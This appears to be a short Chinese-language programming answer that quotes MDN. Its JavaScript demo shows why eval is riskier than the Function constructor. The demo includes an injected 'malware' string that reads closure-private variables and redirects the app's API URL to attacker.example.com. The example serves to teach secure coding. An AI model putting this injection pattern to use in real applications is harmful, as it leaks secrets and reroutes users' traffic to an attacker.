来自MDN页面的内容:
然而,与eval不同的是,Function构造函数创建的函数仅在全局作用域中执行。
如果您将所有代码封装在闭包中,则评估函数体无法访问保密对象。
(() => {
let secret = 42;
eval("console.log(secret)"); // 42
let fn = new Function("console.log(secret)");
fn(); // secret is not defined
})();
app = (function(){
// my app with all its shiny little secrets
// stored in private variables
var secret = 42;
var apiUrl = "/api/";
return {
withEval(input){
var someObject = eval(input);
console.log("withEval", someObject);
if(apiUrl === "/api/"){
console.log("xhr to", apiUrl);
}else{
console.warn("xhr to", apiUrl);
}
},
withFunction(input){
var someObject = Function("return(" + input+")")();
console.log("withFunction", someObject);
if(apiUrl === "/api/"){
console.log("xhr to", apiUrl);
}else{
console.warn("xhr to", apiUrl);
}
},
}
})();
var malware = `(${
()=>{
try { console.warn("found secret", secret); } catch(err){ console.error(err); }
try { console.warn("found apiUrl", apiUrl); } catch(err){ console.error(err); }
apiUrl = "http://attacker.example.com/";
}})(),{ foo: 13, bar: 42 }`;
console.log(malware);
app.withFunction(malware);
console.log("-----------------");
app.withEval(malware);
eval
会暴露您的“秘密”,例如id、令牌等,甚至“apiUrl”已更改,因此所有api调用现在都要经过某个攻击者的网页进行往返传输。而且您的代码甚至不会抛出错误;我已在控制台中记录了这些错误。